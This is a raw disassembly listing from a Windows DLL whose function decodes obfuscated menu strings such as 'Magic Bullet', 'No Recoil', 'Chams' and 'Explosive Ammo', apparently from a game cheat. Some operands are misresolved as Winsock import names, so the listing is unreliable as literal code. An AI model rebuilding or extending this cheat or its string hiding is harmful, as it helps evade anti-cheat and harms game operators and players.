mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.180014ae0
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180014ae0
movzx r13d, al
mov cl, WSAGetLastError
call fcn.180014ae0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014ae0
movzx r15d, al
mov cl, 0x20
call fcn.180014ae0
movzx r14d, al
mov cl, 0x41
call fcn.180014ae0
movzx esi, al
mov cl, 0x69
call fcn.180014ae0
movzx edi, al
mov cl, 0x6d
call fcn.180014ae0
movzx ebx, al
xor ecx, ecx
call fcn.180014ae0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xa20], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xa21], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xa22], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xa23], cl
mov byte [rbp + 0xa24], r13b
mov byte [rbp + 0xa25], r12b
mov byte [rbp + 0xa26], r15b
mov byte [rbp + 0xa27], r14b
mov byte [rbp + 0xa28], sil
mov byte [rbp + 0xa29], dil
mov byte [rbp + 0xa2a], bl
mov byte [rbp + 0xa2b], al
lea rcx, [rbp + 0x2278]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x200
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2278]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xa20]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180014ae0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2278]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d6010
lea rcx, [rbp + 0x2278]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e333e]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2278]
call fcn.180011f20
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x860], rax
mov dword [rbp + 0x868], eax
mov word [rbp + 0x86c], ax
mov cl, 0x20
call fcn.180056890
mov byte [rsp + 0x50], al
mov cl, 0x4d
call fcn.180056890
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180056890
mov byte [rsp + 0x52], al
mov cl, 0x67
call fcn.180056890
mov byte [rsp + 0x53], al
mov cl, 0x69
call fcn.180056890
mov byte [rsp + 0x54], al
mov cl, 0x63
call fcn.180056890
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.180056890
movzx r13d, al
mov cl, 0x42
call fcn.180056890
movzx r12d, al
mov cl, 0x75
call fcn.180056890
movzx r15d, al
mov cl, 0x6c
call fcn.180056890
movzx r14d, al
mov cl, 0x6c
call fcn.180056890
movzx esi, al
mov cl, 0x65
call fcn.180056890
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056890
movzx ebx, al
xor ecx, ecx
call fcn.180056890
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x860], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x861], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x862], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x863], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x864], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x865], cl
mov byte [rbp + 0x866], r13b
mov byte [rbp + 0x867], r12b
mov byte [rbp + 0x868], r15b
mov byte [rbp + 0x869], r14b
mov byte [rbp + 0x86a], sil
mov byte [rbp + 0x86b], dil
mov byte [rbp + 0x86c], bl
mov byte [rbp + 0x86d], al
lea rcx, [rbp + 0x2298]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x400
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2298]
call fcn.180014330
xor r13d, r13d
mov edi, r13d
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x860]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180056890
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2298]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d61d0
lea rcx, [rbp + 0x2298]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3344]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2298]
call fcn.180011f20
cmp byte [0x1805e3344], sil
jne 0x1800d6242
cmp byte [0x1805e333e], sil
je 0x1800d6a19
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x68], eax
mov word [rbp + 0x6c], ax
mov byte [rbp + 0x6e], al
mov cl, 0x20
call fcn.1800568e0
movzx r12d, al
mov cl, 0x46
call fcn.1800568e0
movzx r15d, al
mov cl, 0x4f
call fcn.1800568e0
movzx r14d, al
mov cl, 0x56
call fcn.1800568e0
movzx esi, al
mov cl, 0x20
call fcn.1800568e0
movzx edi, al
mov cl, 0x32
call fcn.1800568e0
movzx ebx, al
xor ecx, ecx
call fcn.1800568e0
mov byte [rbp + 0x68], r12b
mov byte [rbp + 0x69], r15b
mov byte [rbp + 0x6a], r14b
mov byte [rbp + 0x6b], sil
mov byte [rbp + 0x6c], dil
mov byte [rbp + 0x6d], bl
mov byte [rbp + 0x6e], al
lea rcx, [rbp + 0x22b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40
xor r8d, r8d
mov edi, 7
mov edx, edi
lea rcx, [rbp + 0x22b8]
call fcn.180014330
nop dword [rax + rax]
mov rdx, r13
lea rcx, [rbp + 0x68]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.1800568e0
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x22b8]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800d62f0
lea rcx, [rbp + 0x22b8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e333f]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x22b8]
call fcn.180011f20
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x8f0], rax
mov dword [rbp + 0x8f8], eax
mov word [rbp + 0x8fc], ax
mov cl, 0x20
call fcn.1800146a0
mov byte [rsp + 0x50], al
mov cl, 0x46
call fcn.1800146a0
mov byte [rsp + 0x51], al
mov cl, 0x4f
call fcn.1800146a0
mov byte [rsp + 0x52], al
mov cl, 0x56
call fcn.1800146a0
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.1800146a0
mov byte [rsp + 0x54], al
mov cl, 0x46
call fcn.1800146a0
mov byte [rsp + 0x55], al
mov cl, 0x69
call fcn.1800146a0
movzx r13d, al
mov cl, 0x6c
call fcn.1800146a0
movzx r12d, al
mov cl, 0x6c
call fcn.1800146a0
movzx r15d, al
mov cl, 0x65
call fcn.1800146a0
movzx r14d, al
mov cl, 0x64
call fcn.1800146a0
movzx esi, al
mov cl, 0x20
call fcn.1800146a0
movzx edi, al
mov cl, 0x32
call fcn.1800146a0
movzx ebx, al
xor ecx, ecx
call fcn.1800146a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x8f0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x8f1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x8f2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x8f3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x8f4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x8f5], cl
mov byte [rbp + 0x8f6], r13b
mov byte [rbp + 0x8f7], r12b
mov byte [rbp + 0x8f8], r15b
mov byte [rbp + 0x8f9], r14b
mov byte [rbp + 0x8fa], sil
mov byte [rbp + 0x8fb], dil
mov byte [rbp + 0x8fc], bl
mov byte [rbp + 0x8fd], al
lea rcx, [rbp + 0x22d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x22d8]
call fcn.180014330
xor esi, esi
mov edi, esi
mov r14d, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x8f0]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800146a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x22d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub r14, 1
jne 0x1800d64b0
lea rcx, [rbp + 0x22d8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3341]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x22d8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
lea rcx, [rbp + 0x4468]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp - 0x58], ax
mov byte [rbp - 0x56], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056870
movzx edi, al
mov cl, 0x78
call fcn.180056870
movzx ebx, al
xor ecx, ecx
call fcn.180056870
mov byte [rbp - 0x58], dil
mov byte [rbp - 0x57], bl
mov byte [rbp - 0x56], al
lea rcx, [rbp + 0x2318]
call fcn.180011f00
mov dword [rsp + 0x70], 8
xor r8d, r8d
mov ebx, 3
mov edx, ebx
lea rcx, [rbp + 0x2318]
call fcn.180014330
mov edi, ebx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 0x58]
call fcn.18001e4e0
movzx ecx, byte [rax]
call fcn.180056870
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2318]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d65b0
lea rcx, [rbp + 0x2318]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x340], rax
mov word [rbp + 0x348], ax
mov byte [rbp + 0x34a], al
mov cl, 0x46
call fcn.1800148a0
mov byte [rsp + 0x50], al
mov cl, 0x4f
call fcn.1800148a0
mov byte [rsp + 0x51], al
mov cl, 0x56
call fcn.1800148a0
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.1800148a0
movzx r13d, al
mov cl, 0x53
call fcn.1800148a0
movzx r12d, al
mov cl, 0x69
call fcn.1800148a0
movzx r15d, al
mov cl, 0x7a
call fcn.1800148a0
movzx r14d, al
mov cl, 0x65
call fcn.1800148a0
movzx esi, al
mov cl, 0x20
call fcn.1800148a0
movzx edi, al
mov cl, 0x32
call fcn.1800148a0
movzx ebx, al
xor ecx, ecx
call fcn.1800148a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x340], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x341], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x342], cl
mov byte [rbp + 0x343], r13b
mov byte [rbp + 0x344], r12b
mov byte [rbp + 0x345], r15b
mov byte [rbp + 0x346], r14b
mov byte [rbp + 0x347], sil
mov byte [rbp + 0x348], dil
mov byte [rbp + 0x349], bl
mov byte [rbp + 0x34a], al
lea rcx, [rbp + 0x22f8]
call fcn.180011f00
mov ebx, recv
mov dword [rsp + 0x70], ebx
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x22f8]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x340]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.1800148a0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x22f8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800d6710
lea rcx, [rbp + 0x22f8]
call fcn.1800143e0
mov byte [rsp + 0x28], dil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm6
movaps xmm2, xmm14
lea rdx, [0x1801f67b0]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x22f8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2318]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
lea rcx, [rbp + 0x4470]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x1138], eax
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800ed7d0
mov byte [rsp + 0x70], al
mov cl, 0x63
call fcn.1800ed7d0
mov byte [rsp + 0x71], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed7d0
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.1800ed7d0
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1138], eax
lea rcx, [rbp + 0x2358]
call fcn.180011f00
mov dword [rsp + 0x70], 2
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x2358]
call fcn.180014330
mov esi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1138]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.1800ed7d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2358]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d6840
lea rcx, [rbp + 0x2358]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x2b0], rax
mov word [rbp + 0x2b8], ax
mov byte [rbp + 0x2ba], al
mov cl, 0x48
call fcn.180056aa0
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.180056aa0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056aa0
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.180056aa0
movzx r13d, al
mov cl, 0x43
call fcn.180056aa0
movzx r12d, al
mov cl, 0x68
call fcn.180056aa0
movzx r15d, al
mov cl, 0x61
call fcn.180056aa0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180056aa0
movzx esi, al
mov cl, 0x63
call fcn.180056aa0
movzx edi, al
mov cl, 0x65
call fcn.180056aa0
movzx ebx, al
xor ecx, ecx
call fcn.180056aa0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x2b0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x2b1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x2b2], cl
mov byte [rbp + 0x2b3], r13b
mov byte [rbp + 0x2b4], r12b
mov byte [rbp + 0x2b5], r15b
mov byte [rbp + 0x2b6], r14b
mov byte [rbp + 0x2b7], sil
mov byte [rbp + 0x2b8], dil
mov byte [rbp + 0x2b9], bl
mov byte [rbp + 0x2ba], al
lea rcx, [rbp + 0x2338]
call fcn.180011f00
mov dword [rsp + 0x70], 3
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x2338]
call fcn.180014330
xor edi, edi
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x2b0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180056aa0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2338]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d6991
lea rcx, [rbp + 0x2338]
call fcn.1800143e0
mov byte [rsp + 0x28], sil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm7
movaps xmm2, xmm15
lea rdx, [0x1801f67ac]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x2338]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2358]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x1b0], rax
mov word [rbp + 0x1b8], ax
mov byte [rbp + 0x1ba], al
mov cl, 0x20
call fcn.180014770
mov byte [rsp + 0x50], al
mov cl, 0x43
call fcn.180014770
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180014770
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014770
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014770
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014770
movzx r15d, al
mov cl, 0x68
call fcn.180014770
movzx r14d, al
mov cl, 0x61
call fcn.180014770
movzx esi, al
mov cl, 0x69
call fcn.180014770
movzx edi, al
mov cl, WSAStartup
call fcn.180014770
movzx ebx, al
xor ecx, ecx
call fcn.180014770
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1b0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1b1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1b2], cl
mov byte [rbp + 0x1b3], r13b
mov byte [rbp + 0x1b4], r12b
mov byte [rbp + 0x1b5], r15b
mov byte [rbp + 0x1b6], r14b
mov byte [rbp + 0x1b7], sil
mov byte [rbp + 0x1b8], dil
mov byte [rbp + 0x1b9], bl
mov byte [rbp + 0x1ba], al
lea rcx, [rbp + 0x2378]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x800
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x2378]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1b0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014770
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2378]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d6b40
lea rcx, [rbp + 0x2378]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3347]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2378]
call fcn.180011f20
movss xmm1, dword [0x1801ce7cc]
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x1c0], rax
mov word [rbp + 0x1c8], ax
mov byte [rbp + 0x1ca], al
mov cl, 0x23
call fcn.1800147e0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800147e0
mov byte [rsp + 0x51], al
mov cl, 0x63
call fcn.1800147e0
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.1800147e0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147e0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800147e0
movzx r15d, al
mov cl, 0x68
call fcn.1800147e0
movzx r14d, al
mov cl, 0x61
call fcn.1800147e0
movzx esi, al
mov cl, 0x69
call fcn.1800147e0
movzx edi, al
mov cl, WSAStartup
call fcn.1800147e0
movzx ebx, al
xor ecx, ecx
call fcn.1800147e0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1c0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1c1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1c2], cl
mov byte [rbp + 0x1c3], r13b
mov byte [rbp + 0x1c4], r12b
mov byte [rbp + 0x1c5], r15b
mov byte [rbp + 0x1c6], r14b
mov byte [rbp + 0x1c7], sil
mov byte [rbp + 0x1c8], dil
mov byte [rbp + 0x1c9], bl
mov byte [rbp + 0x1ca], al
lea rcx, [rbp + 0x2398]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x1000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x2398]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1c0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.1800147e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2398]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d6cc0
lea rcx, [rbp + 0x2398]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x304e2
lea rdx, [0x1805dddf8]
call fcn.18009e200
nop
lea rcx, [rbp + 0x2398]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x1d0], rax
mov word [rbp + 0x1d8], ax
mov byte [rbp + 0x1da], al
mov cl, 0x20
call fcn.180014ae0
mov byte [rsp + 0x50], al
mov cl, 0x4e
call fcn.180014ae0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014ae0
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.180014ae0
movzx r13d, al
mov cl, 0x53
call fcn.180014ae0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014ae0
movzx r15d, al
mov cl, WSAStartup
call fcn.180014ae0
movzx r14d, al
mov cl, 0x65
call fcn.180014ae0
movzx esi, al
mov cl, 0x61
call fcn.180014ae0
movzx edi, al
mov cl, 0x64
call fcn.180014ae0
movzx ebx, al
xor ecx, ecx
call fcn.180014ae0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1d0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1d1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1d2], cl
mov byte [rbp + 0x1d3], r13b
mov byte [rbp + 0x1d4], r12b
mov byte [rbp + 0x1d5], r15b
mov byte [rbp + 0x1d6], r14b
mov byte [rbp + 0x1d7], sil
mov byte [rbp + 0x1d8], dil
mov byte [rbp + 0x1d9], bl
mov byte [rbp + 0x1da], al
lea rcx, [rbp + 0x23b8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x2000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x23b8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1d0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014ae0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x23b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d6e50
lea rcx, [rbp + 0x23b8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e489f]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x23b8]
call fcn.180011f20
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x1e0], rax
mov word [rbp + 0x1e8], ax
mov byte [rbp + 0x1ea], al
mov cl, 0x20
call fcn.180056840
mov byte [rsp + 0x50], al
mov cl, 0x4e
call fcn.180056840
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056840
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.180056840
movzx r13d, al
mov cl, 0x52
call fcn.180056840
movzx r12d, al
mov cl, 0x65
call fcn.180056840
movzx r15d, al
mov cl, 0x63
call fcn.180056840
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056840
movzx esi, al
mov cl, 0x69
call fcn.180056840
movzx edi, al
mov cl, 0x6c
call fcn.180056840
movzx ebx, al
xor ecx, ecx
call fcn.180056840
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1e0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1e1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1e2], cl
mov byte [rbp + 0x1e3], r13b
mov byte [rbp + 0x1e4], r12b
mov byte [rbp + 0x1e5], r15b
mov byte [rbp + 0x1e6], r14b
mov byte [rbp + 0x1e7], sil
mov byte [rbp + 0x1e8], dil
mov byte [rbp + 0x1e9], bl
mov byte [rbp + 0x1ea], al
lea rcx, [rbp + 0x23d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x4000
xor r8d, r8d
mov esi, listen
mov edx, esi
lea rcx, [rbp + 0x23d8]
call fcn.180014330
xor edi, edi
mov rdx, rdi
lea rcx, [rbp + 0x1e0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180056840
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x23d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d6fc0
lea rcx, [rbp + 0x23d8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4899]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x23d8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x590], rax
mov dword [rbp + 0x598], eax
mov byte [rbp + 0x59c], al
mov cl, 0x20
call fcn.1800ed790
mov byte [rsp + 0x50], al
mov cl, 0x46
call fcn.1800ed790
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.1800ed790
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.1800ed790
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.1800ed790
mov byte [rsp + 0x54], al
mov cl, 0x7a
call fcn.1800ed790
movzx r13d, al
mov cl, 0x65
call fcn.1800ed790
movzx r12d, al
mov cl, 0x20
call fcn.1800ed790
movzx r15d, al
mov cl, 0x41
call fcn.1800ed790
movzx r14d, al
mov cl, 0x6d
call fcn.1800ed790
movzx esi, al
mov cl, 0x6d
call fcn.1800ed790
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed790
movzx ebx, al
xor ecx, ecx
call fcn.1800ed790
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x590], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x591], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x592], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x593], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x594], cl
mov byte [rbp + 0x595], r13b
mov byte [rbp + 0x596], r12b
mov byte [rbp + 0x597], r15b
mov byte [rbp + 0x598], r14b
mov byte [rbp + 0x599], sil
mov byte [rbp + 0x59a], dil
mov byte [rbp + 0x59b], bl
mov byte [rbp + 0x59c], al
lea rcx, [rbp + 0x23f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x8000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x23f8]
call fcn.180014330
xor edi, edi
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x590]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.1800ed790
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x23f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d7171
lea rcx, [rbp + 0x23f8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4898]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x23f8]
call fcn.180011f20
movaps xmm0, xmm10
call fcn.180076bd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1070], xmm0
mov cl, 0x20
call fcn.1800569d0
mov byte [rsp + 0x50], al
mov cl, 0x45
call fcn.1800569d0
mov byte [rsp + 0x51], al
mov cl, 0x78
call fcn.1800569d0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800569d0
mov byte [rsp + 0x53], al
mov cl, 0x6c
call fcn.1800569d0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800569d0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800569d0
mov byte [rsp + 0x56], al
mov cl, 0x69
call fcn.1800569d0
mov byte [rsp + 0x57], al
mov cl, 0x76
call fcn.1800569d0
movzx r13d, al
mov cl, 0x65
call fcn.1800569d0
movzx r12d, al
mov cl, 0x20
call fcn.1800569d0
movzx r15d, al
mov cl, 0x41
call fcn.1800569d0
movzx r14d, al
mov cl, 0x6d
call fcn.1800569d0
movzx esi, al
mov cl, 0x6d
call fcn.1800569d0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800569d0
movzx ebx, al
xor ecx, ecx
call fcn.1800569d0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1070], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1071], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1072], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x1073], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x1074], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x1075], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x1076], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x1077], cl
mov byte [rbp + 0x1078], r13b
mov byte [rbp + 0x1079], r12b
mov byte [rbp + 0x107a], r15b
mov byte [rbp + 0x107b], r14b
mov byte [rbp + 0x107c], sil
